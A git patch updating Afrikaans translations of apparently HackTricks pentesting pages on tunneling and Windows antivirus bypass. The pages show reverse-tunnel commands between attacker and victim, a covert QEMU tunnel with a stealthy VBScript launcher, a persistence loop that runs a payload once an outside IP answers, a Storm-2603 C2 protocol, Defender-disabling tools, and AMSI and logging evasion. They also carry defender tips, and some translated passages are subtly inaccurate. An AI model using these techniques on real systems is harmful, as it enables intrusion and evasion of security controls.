From c11935304049d32ebca23f6ed7a42d4e0416ab5f Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 4 Aug 2025 10:18:41 +0000 Subject: [PATCH] Translated ['src/generic-hacking/tunneling-and-port-forwarding.md', 'src --- .../tunneling-and-port-forwarding.md | 77 ++++++--- src/windows-hardening/av-bypass.md | 153 ++++++++++++------ 2 files changed, 162 insertions(+), 68 deletions(-) diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index 10aef7c83..918566bd7 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -93,13 +93,13 @@ route add -net 10.0.0.0/16 gw 1.1.1.1 ## SSHUTTLE -Jy kan **tonnel** via **ssh** al die **verkeer** na 'n **subnetwerk** deur 'n gasheer.\ +Jy kan **tonnel** via **ssh** al die **verkeer** na 'n **subnet** deur 'n gasheer.\ Byvoorbeeld, om al die verkeer wat na 10.10.10.0/24 gaan, te oorgestuur. ```bash pip install sshuttle sshuttle -r user@host 10.10.10.10/24 ``` -Verbind met 'n private sleutel +Verbind met 'n privaat sleutel ```bash sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa' # -D : Daemon mode @@ -179,7 +179,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t ## Chisel Jy kan dit aflaai vanaf die vrylating bladsy van [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\ -Jy moet die **dieselfde weergawe vir kliënt en bediener** gebruik. +Jy moet die **dieselfde weergawe vir kliënt en bediener** gebruik ### socks ```bash @@ -190,7 +190,7 @@ Jy moet die **dieselfde weergawe vir kliënt en bediener** gebruik. ./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed) ./chisel client -v 10.10.10.10:8080 socks #Attacker ``` -### Poort deurstuurting +### Poort forwarding ```bash ./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker ./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim @@ -387,8 +387,8 @@ http-proxy 8080 ntlm [http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/) -Dit verifieer teen 'n proxy en bind 'n poort plaaslik wat na die eksterne diens wat jy spesifiseer, deurgegee word. Dan kan jy die hulpmiddel van jou keuse deur hierdie poort gebruik.\ -Byvoorbeeld, dit gee die poort 443 deur. +Dit verifieer teen 'n proxy en bind 'n poort plaaslik wat na die eksterne diens wat jy spesifiseer, voortgegee word. Dan kan jy die hulpmiddel van jou keuse deur hierdie poort gebruik.\ +Byvoorbeeld, dit voer poort 443 voort. ``` Username Alice Password P@ssw0rd @@ -409,7 +409,7 @@ Jy kan ook 'n **meterpreter** gebruik wat met localhost:443 verbind en die aanva [https://code.kryo.se/iodine/](https://code.kryo.se/iodine/) -Root is nodig in albei stelsels om tun-adapters te skep en data tussen hulle te tonnel deur DNS-vrae te gebruik. +Root is nodig in beide stelsels om tun-adapters te skep en data tussen hulle te tonnel deur DNS-vrae te gebruik. ``` attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com victim> iodine -f -P P@ssw0rd tunneldomain.com -r @@ -446,20 +446,54 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b ``` #### Verander proxychains DNS -Proxychains onderskep `gethostbyname` libc oproep en tonnels tcp DNS versoek deur die socks proxy. Deur **verstek** is die **DNS** bediener wat proxychains gebruik **4.2.2.2** (hardgecodeer). Om dit te verander, wysig die lêer: _/usr/lib/proxychains3/proxyresolv_ en verander die IP. As jy in 'n **Windows omgewing** is, kan jy die IP van die **domeinbeheerder** stel. +Proxychains onderskep `gethostbyname` libc oproep en tonnel tcp DNS versoeke deur die socks proxy. Deur **default** is die **DNS** bediener wat proxychains gebruik **4.2.2.2** (hardgecodeer). Om dit te verander, wysig die lêer: _/usr/lib/proxychains3/proxyresolv_ en verander die IP. As jy in 'n **Windows-omgewing** is, kan jy die IP van die **domeinbeheerder** stel. ## Tonnels in Go [https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel) -## ICMP Tunneling +### Pasgemaakte DNS TXT / HTTP JSON C2 (AK47C2) + +Die Storm-2603 akteur het 'n **dubbele-kanaal C2 ("AK47C2")** geskep wat *slegs* uitgaande **DNS** en **eenvoudige HTTP POST** verkeer misbruik – twee protokolle wat selde op korporatiewe netwerke geblokkeer word. + +1. **DNS modus (AK47DNS)** +• Genereer 'n ewekansige 5-karakter SessionID (bv. `H4T14`). +• Voeg `1` voor *taak versoeke* of `2` vir *resultate* en konkateer verskillende velde (vlaggies, SessionID, rekenaarnaam). +• Elke veld is **XOR-geënkripteer met die ASCII sleutel `VHBD@H`**, hex-gekodeer, en saamgeplak met punte – uiteindelik eindig met die aanvaller-beheerde domein: + +```text +<1|2>.a..update.updatemicfosoft.com +``` + +• Versoeke gebruik `DnsQuery()` vir **TXT** (en terugval **MG**) rekords. +• Wanneer die antwoord 0xFF bytes oorskry, **fragmenteer** die agterdeur die data in 63-byte stukke en voeg die merkers in: +`stp` sodat die C2 bediener dit kan herorden. + +2. **HTTP modus (AK47HTTP)** +• Bou 'n JSON omhulsel: +```json +{"cmd":"","cmd_id":"","fqdn":"","result":"","type":"task"} +``` +• Die hele blob is XOR-`VHBD@H` → hex → gestuur as die liggaam van 'n **`POST /`** met kop `Content-Type: text/plain`. +• Die antwoord volg dieselfde kodering en die `cmd` veld word uitgevoer met `cmd.exe /c 2>&1`. + +Blou Span notas +• Soek na ongewone **TXT versoeke** waarvan die eerste etiket lang hexadesimale is en altyd eindig in een seldsame domein. +• 'n Konstante XOR sleutel gevolg deur ASCII-hex is maklik om met YARA te ontdek: `6?56484244?484` (`VHBD@H` in hex). +• Vir HTTP, merk teks/plain POST liggame wat suiwer hex en 'n veelvoud van twee bytes is. + +{{#note}} +Die hele kanaal pas binne **standaard RFC-konforme versoeke** en hou elke sub-domein etiket onder 63 bytes, wat dit stealthy maak in die meeste DNS logs. +{{#endnote}} + +## ICMP Toneling ### Hans [https://github.com/friedrich/hans](https://github.com/friedrich/hans)\ [https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel) -Root is nodig in beide stelsels om tun-adapters te skep en data tussen hulle te tonnel deur ICMP echo versoeke. +Root is nodig in beide stelsels om tun adapters te skep en data tussen hulle te tonnel deur ICMP echo versoeke. ```bash ./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection) ./hans -f -c -p P@ssw0rd -v @@ -561,7 +595,7 @@ cloudflared tunnel --url http://localhost:8080 cloudflared tunnel --url socks5://localhost:1080 --socks5 # Now configure proxychains to use 127.0.0.1:1080 ``` -### Volhoubare tonnels met DNS +### Volgehoude tonnels met DNS ```bash cloudflared tunnel create mytunnel cloudflared tunnel route dns mytunnel internal.example.com @@ -574,13 +608,13 @@ Begin die connector: ```bash cloudflared tunnel run mytunnel ``` -Omdat alle verkeer die die gasheer **uitgaande oor 443** verlaat, is Cloudflared tonnels 'n eenvoudige manier om ingangs ACLs of NAT-grense te omseil. Wees bewus daarvan dat die binêre gewoonlik met verhoogde voorregte loop – gebruik houers of die `--user` vlag wanneer moontlik. +Omdat alle verkeer die die gasheer **uitgaand oor 443** verlaat, is Cloudflared tonnels 'n eenvoudige manier om ingangs ACLs of NAT-grense te omseil. Wees bewus daarvan dat die binêre gewoonlik met verhoogde voorregte loop – gebruik houers of die `--user` vlag wanneer moontlik. ## FRP (Fast Reverse Proxy) -[`frp`](https://github.com/fatedier/frp) is 'n aktief-onderhoubare Go omgekeerde-proxy wat **TCP, UDP, HTTP/S, SOCKS en P2P NAT-gat-punching** ondersteun. Begin met **v0.53.0 (Mei 2024)** kan dit as 'n **SSH Tunnel Gateway** optree, sodat 'n teiken gasheer 'n omgekeerde tunnel kan opstel met slegs die standaard OpenSSH-kliënt – geen ekstra binêre benodig nie. +[`frp`](https://github.com/fatedier/frp) is 'n aktief-onderhoubare Go omgekeerde-proxy wat **TCP, UDP, HTTP/S, SOCKS en P2P NAT-gat-punching** ondersteun. Begin met **v0.53.0 (Mei 2024)** kan dit as 'n **SSH Tunnel Gateway** optree, sodat 'n teiken gasheer 'n omgekeerde tonnel kan opstel met slegs die standaard OpenSSH-kliënt – geen ekstra binêre benodig nie. -### Klassieke omgekeerde TCP-tunnel +### Klassieke omgekeerde TCP-tonnel ```bash # Attacker / server ./frps -c frps.toml # listens on 0.0.0.0:7000 @@ -599,7 +633,7 @@ localIP = "127.0.0.1" localPort = 3389 remotePort = 5000 ``` -### Gebruik van die nuwe SSH-gateway (geen frpc-binary) +### Gebruik die nuwe SSH-gateway (geen frpc-binary) ```bash # On frps (attacker) sshTunnelGateway.bindPort = 2200 # add to frps.toml @@ -612,7 +646,7 @@ Die bogenoemde opdrag publiseer die slagoffer se poort **8080** as **attacker_ip ## Verborgen VM-gebaseerde tonnels met QEMU -QEMU se gebruikersmodus-netwerk (`-netdev user`) ondersteun 'n opsie genaamd `hostfwd` wat **'n TCP/UDP-poort op die *gasheer* bind en dit na die *gas** stuur. Wanneer die gasheer 'n volle SSH-daemon draai, bied die hostfwd-reël jou 'n weggooibare SSH-jump box wat heeltemal binne 'n ephemerale VM leef – perfek om C2-verkeer van EDR te verberg omdat alle kwaadwillige aktiwiteit en lêers in die virtuele skyf bly. +QEMU se gebruikersmodus-netwerk (`-netdev user`) ondersteun 'n opsie genaamd `hostfwd` wat **'n TCP/UDP-poort op die *gasheer* bind en dit na die *gasheer* voortstuur**. Wanneer die gasheer 'n volle SSH-daemon draai, bied die hostfwd-reël jou 'n weggooibare SSH-jump box wat heeltemal binne 'n ephemerale VM leef – perfek om C2-verkeer van EDR te verberg omdat alle kwaadwillige aktiwiteit en lêers in die virtuele skyf bly. ### Vinning een-liner ```powershell @@ -628,7 +662,7 @@ qemu-system-x86_64.exe ^ • Poort **2222/tcp** op die Windows-gasheer word deursigtig na **22/tcp** binne die gasheer oorgedra. • Vanuit die aanvaller se oogpunt stel die teiken eenvoudig poort 2222 bloot; enige pakkette wat dit bereik, word hanteer deur die SSH-bediener wat in die VM loop. -### Stealthy bekendstelling deur VBScript +### Stealthily deur VBScript begin ```vb ' update.vbs – lived in C:\ProgramData\update Set o = CreateObject("Wscript.Shell") @@ -636,9 +670,9 @@ o.Run "stl.exe -m 256M -drive file=tc.qcow2,if=ide -netdev user,id=n0,hostfwd=tc ``` Running the script with `cscript.exe //B update.vbs` hou die venster verborge. -### In-gas persistentie +### In-gas volharding -Omdat Tiny Core stateless is, doen aanvallers gewoonlik: +Omdat Tiny Core staatloos is, doen aanvallers gewoonlik: 1. Laat payload val na `/opt/123.out` 2. Voeg by `/opt/bootlocal.sh`: @@ -648,7 +682,7 @@ while ! ping -c1 45.77.4.101; do sleep 2; done /opt/123.out ``` -3. Voeg `home/tc` en `opt` by `/opt/filetool.lst` sodat die payload in `mydata.tgz` gepak word by afsluiting. +3. Voeg `home/tc` en `opt` by `/opt/filetool.lst` sodat die payload in `mydata.tgz` gepak word tydens afsluiting. ### Waarom dit opsporing ontduik @@ -658,7 +692,7 @@ while ! ping -c1 45.77.4.101; do sleep 2; done ### Defender wenke -• Laat weet oor **onverwagte QEMU/VirtualBox/KVM binêre** in gebruikers-skryfbare paaie. +• Waaksaam wees oor **onverwagte QEMU/VirtualBox/KVM binêre** in gebruikers-skryfbare paaie. • Blokkeer uitgaande verbindings wat oorspronklik is van `qemu-system*.exe`. • Jag vir seldsame luisterpoorte (2222, 10022, …) wat onmiddellik bind na 'n QEMU-lancering. @@ -672,5 +706,6 @@ while ! ping -c1 45.77.4.101; do sleep 2; done ## Verwysings - [Hiding in the Shadows: Covert Tunnels via QEMU Virtualization](https://trustedsec.com/blog/hiding-in-the-shadows-covert-tunnels-via-qemu-virtualization) +- [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/av-bypass.md b/src/windows-hardening/av-bypass.md index 93e891c25..7d4038682 100644 --- a/src/windows-hardening/av-bypass.md +++ b/src/windows-hardening/av-bypass.md @@ -4,37 +4,43 @@ **Hierdie bladsy is geskryf deur** [**@m2rc_p**](https://twitter.com/m2rc_p)**!** +## Stop Defender + +- [defendnot](https://github.com/es3n1n/defendnot): 'n hulpmiddel om Windows Defender te stop om te werk. +- [no-defender](https://github.com/es3n1n/no-defender): 'n hulpmiddel om Windows Defender te stop deur 'n ander AV te faks. +- [Deaktiveer Defender as jy admin is](basic-powershell-for-pentesters/README.md) + ## **AV Evasie Metodologie** Tans gebruik AV's verskillende metodes om te kontroleer of 'n lêer kwaadwillig is of nie, statiese opsporing, dinamiese analise, en vir die meer gevorderde EDR's, gedragsanalise. ### **Statiese opsporing** -Statiese opsporing word bereik deur bekende kwaadwillige stringe of byte-reekse in 'n binêre of skrip te merk, en ook inligting uit die lêer self te onttrek (bv. lêerbeskrywing, maatskappynaam, digitale handtekeninge, ikoon, kontrole som, ens.). Dit beteken dat die gebruik van bekende openbare gereedskap jou makliker kan laat vasvang, aangesien hulle waarskynlik geanaliseer en as kwaadwillig gemerk is. Daar is 'n paar maniere om om hierdie tipe opsporing te werk: +Statiese opsporing word bereik deur bekende kwaadwillige stringe of byte-reekse in 'n binêre of skrif te merk, en ook inligting uit die lêer self te onttrek (bv. lêerbeskrywing, maatskappynaam, digitale handtekeninge, ikoon, checksum, ens.). Dit beteken dat die gebruik van bekende openbare hulpmiddels jou makliker kan laat vasvang, aangesien hulle waarskynlik geanaliseer en as kwaadwillig gemerk is. Daar is 'n paar maniere om om hierdie tipe opsporing te kom: - **Enkripsie** -As jy die binêre enkripteer, sal daar geen manier wees vir AV om jou program te opspoor nie, maar jy sal 'n soort laaier nodig hê om die program in geheue te dekripteer en uit te voer. +As jy die binêre enkripteer, sal daar geen manier wees vir AV om jou program te opspoor nie, maar jy sal 'n soort laaier nodig hê om die program in geheue te dekripteer en te laat loop. - **Obfuskasie** -Soms is al wat jy hoef te doen, om 'n paar stringe in jou binêre of skrip te verander om dit verby AV te kry, maar dit kan 'n tydrowende taak wees, afhangende van wat jy probeer obfusk. +Soms is al wat jy hoef te doen, om 'n paar stringe in jou binêre of skrif te verander om dit verby AV te kry, maar dit kan 'n tydrowende taak wees, afhangende van wat jy probeer obfusk. -- **Pasgemaakte gereedskap** +- **Pasgemaakte hulpmiddels** -As jy jou eie gereedskap ontwikkel, sal daar geen bekende slegte handtekeninge wees nie, maar dit neem baie tyd en moeite. +As jy jou eie hulpmiddels ontwikkel, sal daar geen bekende slegte handtekeninge wees nie, maar dit neem baie tyd en moeite. -> [!NOTE] +> [!TIP] > 'n Goeie manier om teen Windows Defender se statiese opsporing te kontroleer, is [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Dit verdeel basies die lêer in verskeie segmente en vra dan Defender om elkeen individueel te skandeer, sodat dit jou presies kan sê wat die gemerkte stringe of byte in jou binêre is. Ek beveel sterk aan dat jy hierdie [YouTube-speellys](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) oor praktiese AV Evasie kyk. ### **Dinamiese analise** -Dinamiese analise is wanneer die AV jou binêre in 'n sandbox uitvoer en kyk vir kwaadwillige aktiwiteit (bv. probeer om jou blaaier se wagwoorde te dekripteer en te lees, 'n minidump op LSASS uit te voer, ens.). Hierdie deel kan 'n bietjie moeiliker wees om mee te werk, maar hier is 'n paar dinge wat jy kan doen om sandboxes te evade. +Dinamiese analise is wanneer die AV jou binêre in 'n sandbox laat loop en kyk vir kwaadwillige aktiwiteit (bv. probeer om jou blaaskas se wagwoorde te dekripteer en te lees, 'n minidump op LSASS uit te voer, ens.). Hierdie deel kan 'n bietjie moeiliker wees om mee te werk, maar hier is 'n paar dinge wat jy kan doen om sandboxes te evade. -- **Slaap voor uitvoering** Afhangende van hoe dit geïmplementeer is, kan dit 'n wonderlike manier wees om AV se dinamiese analise te omseil. AV's het 'n baie kort tyd om lêers te skandeer om nie die gebruiker se werksvloei te onderbreek nie, so die gebruik van lang slape kan die analise van binêre versteur. Die probleem is dat baie AV's sandboxes eenvoudig die slaap kan oorslaan, afhangende van hoe dit geïmplementeer is. -- **Kontroleer masjien se hulpbronne** Gewoonlik het sandboxes baie min hulpbronne om mee te werk (bv. < 2GB RAM), anders kan hulle die gebruiker se masjien stadiger maak. Jy kan ook baie kreatief wees hier, byvoorbeeld deur die CPU se temperatuur of selfs die waaier spoed te kontroleer, nie alles sal in die sandbox geïmplementeer wees nie. +- **Slap voor uitvoering** Afhangende van hoe dit geïmplementeer is, kan dit 'n wonderlike manier wees om AV se dinamiese analise te omseil. AV's het 'n baie kort tyd om lêers te skandeer om nie die gebruiker se werksvloei te onderbreek nie, so die gebruik van lang slap kan die analise van binêre versteur. Die probleem is dat baie AV's sandboxes eenvoudig die slap kan oorslaan, afhangende van hoe dit geïmplementeer is. +- **Kontroleer masjien se hulpbronne** Gewoonlik het sandboxes baie min hulpbronne om mee te werk (bv. < 2GB RAM), anders kan hulle die gebruiker se masjien stadiger maak. Jy kan ook baie kreatief hier wees, byvoorbeeld deur die CPU se temperatuur of selfs die waaier spoed te kontroleer, nie alles sal in die sandbox geïmplementeer wees nie. - **Masjien-spesifieke kontroles** As jy 'n gebruiker wil teiken wie se werkstasie aan die "contoso.local" domein gekoppel is, kan jy 'n kontrole op die rekenaar se domein doen om te sien of dit ooreenstem met die een wat jy gespesifiseer het, as dit nie is nie, kan jy jou program laat verlaat. Dit blyk dat Microsoft Defender se Sandbox rekenaarnaam HAL9TH is, so jy kan die rekenaarnaam in jou malware kontroleer voor detonering, as die naam ooreenstem met HAL9TH, beteken dit jy is binne defender se sandbox, so jy kan jou program laat verlaat. @@ -45,24 +51,24 @@ Sommige ander regtig goeie wenke van [@mgeeky](https://twitter.com/mariuszbit) o

Red Team VX Discord #malware-dev kanaal

-Soos ons voorheen in hierdie pos gesê het, **publieke gereedskap** sal uiteindelik **opgespoor word**, so jy moet jouself iets vra: +Soos ons voorheen in hierdie pos gesê het, **publieke hulpmiddels** sal uiteindelik **opgespoor word**, so jy moet jouself iets vra: Byvoorbeeld, as jy LSASS wil dump, **het jy regtig nodig om mimikatz te gebruik**? Of kan jy 'n ander projek gebruik wat minder bekend is en ook LSASS dump. -Die regte antwoord is waarskynlik die laaste. Neem mimikatz as 'n voorbeeld, dit is waarskynlik een van, indien nie die mees gemerkte stuk malware deur AV's en EDR's nie, terwyl die projek self super cool is, is dit ook 'n nagmerrie om daarmee te werk om om AV's te omseil, so kyk net vir alternatiewe vir wat jy probeer bereik. +Die regte antwoord is waarskynlik die laaste. Neem mimikatz as 'n voorbeeld, dit is waarskynlik een van, indien nie die mees gemerkte stuk malware deur AV's en EDR's nie, terwyl die projek self super cool is, is dit ook 'n nagmerrie om mee te werk om om AV's te omseil, so soek net na alternatiewe vir wat jy probeer bereik. -> [!NOTE] +> [!TIP] > Wanneer jy jou payloads vir evasie aanpas, maak seker om **outomatiese monster indiening** in defender af te skakel, en asseblief, ernstig, **LAAT NIE OP VIRUSTOTAL OP NIE** as jou doel is om evasie op die lang termyn te bereik. As jy wil kontroleer of jou payload deur 'n spesifieke AV opgespoor word, installeer dit op 'n VM, probeer om die outomatiese monster indiening af te skakel, en toets dit daar totdat jy tevrede is met die resultaat. ## EXEs vs DLLs -Wanneer dit moontlik is, moet jy altyd **prioritiseer om DLLs vir evasie te gebruik**, volgens my ervaring, is DLL-lêers gewoonlik **baie minder opgespoor** en geanaliseer, so dit is 'n baie eenvoudige truuk om te gebruik om in sommige gevalle opsporing te vermy (as jou payload 'n manier het om as 'n DLL te loop natuurlik). +Wanneer dit moontlik is, moet jy altyd **prioriteit gee aan die gebruik van DLLs vir evasie**, in my ervaring, DLL-lêers word gewoonlik **baie minder opgespoor** en geanaliseer, so dit is 'n baie eenvoudige truuk om te gebruik om in sommige gevalle opsporing te vermy (as jou payload 'n manier het om as 'n DLL te loop natuurlik). Soos ons in hierdie beeld kan sien, het 'n DLL Payload van Havoc 'n opsporingskoers van 4/26 in antiscan.me, terwyl die EXE payload 'n 7/26 opsporingskoers het.

antiscan.me vergelyking van 'n normale Havoc EXE payload teen 'n normale Havoc DLL

-Nou gaan ons 'n paar truuks wys wat jy met DLL-lêers kan gebruik om baie meer stil te wees. +Nou sal ons 'n paar truuks wys wat jy met DLL-lêers kan gebruik om baie meer stil te wees. ## DLL Sideloading & Proxying @@ -81,7 +87,7 @@ Ek beveel sterk aan dat jy **DLL Hijackable/Sideloadable programme self verken** Net deur 'n kwaadwillige DLL met die naam wat 'n program verwag om te laai, te plaas, sal nie jou payload laai nie, aangesien die program 'n paar spesifieke funksies binne daardie DLL verwag. Om hierdie probleem op te los, sal ons 'n ander tegniek gebruik wat **DLL Proxying/Forwarding** genoem word. -**DLL Proxying** stuur die oproepe wat 'n program maak van die proxy (en kwaadwillige) DLL na die oorspronklike DLL, en behou sodoende die program se funksionaliteit en kan die uitvoering van jou payload hanteer. +**DLL Proxying** stuur die oproepe wat 'n program vanaf die proxy (en kwaadwillige) DLL maak, na die oorspronklike DLL, en behou sodoende die program se funksionaliteit en kan die uitvoering van jou payload hanteer. Ek sal die [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) projek van [@flangvik](https://twitter.com/Flangvik/) gebruik. @@ -98,13 +104,15 @@ Die laaste opdrag sal vir ons 2 lêers gee: 'n DLL-bronkode-sjabloon, en die oor ``` 5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL. ``` +Hierdie is die resultate: +
-Beide ons shellcode (gecode met [SGN](https://github.com/EgeBalci/sgn)) en die proxy DLL het 'n 0/26 Deteksie koers in [antiscan.me](https://antiscan.me)! Ek sou dit 'n sukses noem. +Beide ons shellcode (gecodeer met [SGN](https://github.com/EgeBalci/sgn)) en die proxy DLL het 'n 0/26 Deteksie koers in [antiscan.me](https://antiscan.me)! Ek sou dit 'n sukses noem.
-> [!NOTE] +> [!TIP] > Ek **beveel sterk aan** dat jy [S3cur3Th1sSh1t se twitch VOD](https://www.twitch.tv/videos/1644171543) oor DLL Sideloading kyk en ook [ippsec se video](https://www.youtube.com/watch?v=3eROsG_WNpE) om meer te leer oor wat ons in diepte bespreek het. ## [**Freeze**](https://github.com/optiv/Freeze) @@ -120,8 +128,8 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez ```
-> [!NOTE] -> Ontwyking is net 'n kat & muis spel, wat vandag werk, kan môre opgespoor word, so moenie net op een hulpmiddel staatmaak nie, as dit moontlik is, probeer om verskeie ontwykings tegnieke te kombineer. +> [!TIP] +> Ontwyking is net 'n kat & muis spel, wat vandag werk, kan môre opgespoor word, so moenie net op een hulpmiddel staatmaak nie, as dit moontlik is, probeer om verskeie ontwykingsmetodes te kombineer. ## AMSI (Anti-Malware Scan Interface) @@ -129,7 +137,7 @@ AMSI is geskep om "[fileless malware](https://en.wikipedia.org/wiki/Fileless_mal Die AMSI-funksie is geïntegreer in hierdie komponente van Windows. -- Gebruikersrekeningbeheer, of UAC (verhoging van EXE, COM, MSI, of ActiveX installasie) +- Gebruikersrekeningbeheer, of UAC (verhoging van EXE, COM, MSI, of ActiveX-installasie) - PowerShell (scripts, interaktiewe gebruik, en dinamiese kode evaluering) - Windows Script Host (wscript.exe en cscript.exe) - JavaScript en VBScript @@ -187,16 +195,16 @@ Hou in gedagte dat dit waarskynlik gemeld sal word sodra hierdie pos uitkom, so Hierdie tegniek is aanvanklik ontdek deur [@RastaMouse](https://twitter.com/_RastaMouse/) en dit behels die vind van die adres vir die "AmsiScanBuffer" funksie in amsi.dll (verantwoordelik vir die skandering van die gebruiker-gelewer insette) en dit oorskryf met instruksies om die kode vir E_INVALIDARG terug te gee, sodat die resultaat van die werklike skandering 0 sal teruggee, wat geïnterpreteer word as 'n skoon resultaat. -> [!NOTE] +> [!TIP] > Lees asseblief [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) vir 'n meer gedetailleerde verduideliking. Daar is ook baie ander tegnieke wat gebruik word om AMSI met powershell te omseil, kyk na [**hierdie bladsy**](basic-powershell-for-pentesters/index.html#amsi-bypass) en [**hierdie repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) om meer daaroor te leer. Hierdie hulpmiddel [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) genereer ook 'n skrip om AMSI te omseil. -**Verwyder die gediagnoseerde handtekening** +**Verwyder die gedetecteerde handtekening** -Jy kan 'n hulpmiddel soos **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** en **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** gebruik om die gediagnoseerde AMSI-handtekening uit die geheue van die huidige proses te verwyder. Hierdie hulpmiddel werk deur die geheue van die huidige proses vir die AMSI-handtekening te skandeer en dit dan met NOP-instruksies oor te skryf, wat dit effektief uit die geheue verwyder. +Jy kan 'n hulpmiddel soos **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** en **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** gebruik om die gedetecteerde AMSI-handtekening uit die geheue van die huidige proses te verwyder. Hierdie hulpmiddel werk deur die geheue van die huidige proses vir die AMSI-handtekening te skandeer en dit dan met NOP-instruksies oor te skryf, wat dit effektief uit die geheue verwyder. **AV/EDR produkte wat AMSI gebruik** @@ -209,29 +217,29 @@ powershell.exe -version 2 ``` ## PS Logging -PowerShell logging is 'n kenmerk wat jou toelaat om al die PowerShell-opdragte wat op 'n stelsel uitgevoer word, te log. Dit kan nuttig wees vir ouditering en probleemoplossing, maar dit kan ook 'n **probleem wees vir aanvallers wat wil ontwyk dat hulle opgespoor word**. +PowerShell logging is 'n kenmerk wat jou toelaat om al die PowerShell-opdragte wat op 'n stelsel uitgevoer word, te log. Dit kan nuttig wees vir ouditering en probleemoplossing, maar dit kan ook 'n **probleem wees vir aanvallers wat wil ontduik dat hulle opgespoor word**. Om PowerShell logging te omseil, kan jy die volgende tegnieke gebruik: - **Deaktiveer PowerShell Transkripsie en Module Logging**: Jy kan 'n hulpmiddel soos [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) hiervoor gebruik. - **Gebruik Powershell weergawe 2**: As jy PowerShell weergawe 2 gebruik, sal AMSI nie gelaai word nie, so jy kan jou skripte uitvoer sonder om deur AMSI gescan te word. Jy kan dit doen: `powershell.exe -version 2` -- **Gebruik 'n Unmanaged Powershell Sessie**: Gebruik [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) om 'n powershell sonder verdediging te genereer (dit is wat `powerpick` van Cobalt Strike gebruik). +- **Gebruik 'n Onbeheerde Powershell Sessie**: Gebruik [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) om 'n powershell sonder verdediging te genereer (dit is wat `powerpick` van Cobalt Strike gebruik). ## Obfuscation -> [!NOTE] -> Verskeie obfuscation tegnieke is gebaseer op die enkriptering van data, wat die entropie van die binêre sal verhoog, wat dit makliker sal maak vir AVs en EDRs om dit op te spoor. Wees versigtig hiermee en pas dalk net enkriptering toe op spesifieke gedeeltes van jou kode wat sensitief is of weggesteek moet word. +> [!TIP] +> Verskeie obfuskeringstegnieke maak staat op die enkripsie van data, wat die entropie van die binêre sal verhoog, wat dit makliker sal maak vir AVs en EDRs om dit op te spoor. Wees versigtig hiermee en pas dalk net enkripsie toe op spesifieke gedeeltes van jou kode wat sensitief is of weggesteek moet word. Daar is verskeie hulpmiddels wat gebruik kan word om **C# duidelike tekskode te obfuskeer**, **metaprogrammering templates** te genereer om binêre te kompileer of **gecompileerde binêre te obfuskeer** soos: -- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx): Dit is 'n uitstekende oopbron obfuscator vir .NET toepassings. Dit bied verskeie beskermingstegnieke soos kontrole vloei obfuscation, anti-debugging, anti-tampering, en string enkriptering. Dit word aanbeveel omdat dit selfs toelaat om spesifieke stukke kode te obfuskeer. -- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator** -- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Die doel van hierdie projek is om 'n oopbron fork van die [LLVM](http://www.llvm.org/) kompilasiesuite te bied wat in staat is om verhoogde sagteware sekuriteit te bied deur middel van [kode obfuscation]() en tamper-proofing. -- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstreer hoe om `C++11/14` taal te gebruik om, tydens kompilering, obfuskeer kode te genereer sonder om enige eksterne hulpmiddel te gebruik en sonder om die kompilateur te verander. -- [**obfy**](https://github.com/fritzone/obfy): Voeg 'n laag van obfuskeer operasies by wat gegenereer word deur die C++ template metaprogrammering raamwerk wat die lewe van die persoon wat die toepassing wil kraak 'n bietjie moeiliker sal maak. -- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz is 'n x64 binêre obfuscator wat in staat is om verskeie verskillende pe lêers te obfuskeer, insluitend: .exe, .dll, .sys +- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx): Dit is 'n uitstekende oopbron obfuskeerder vir .NET 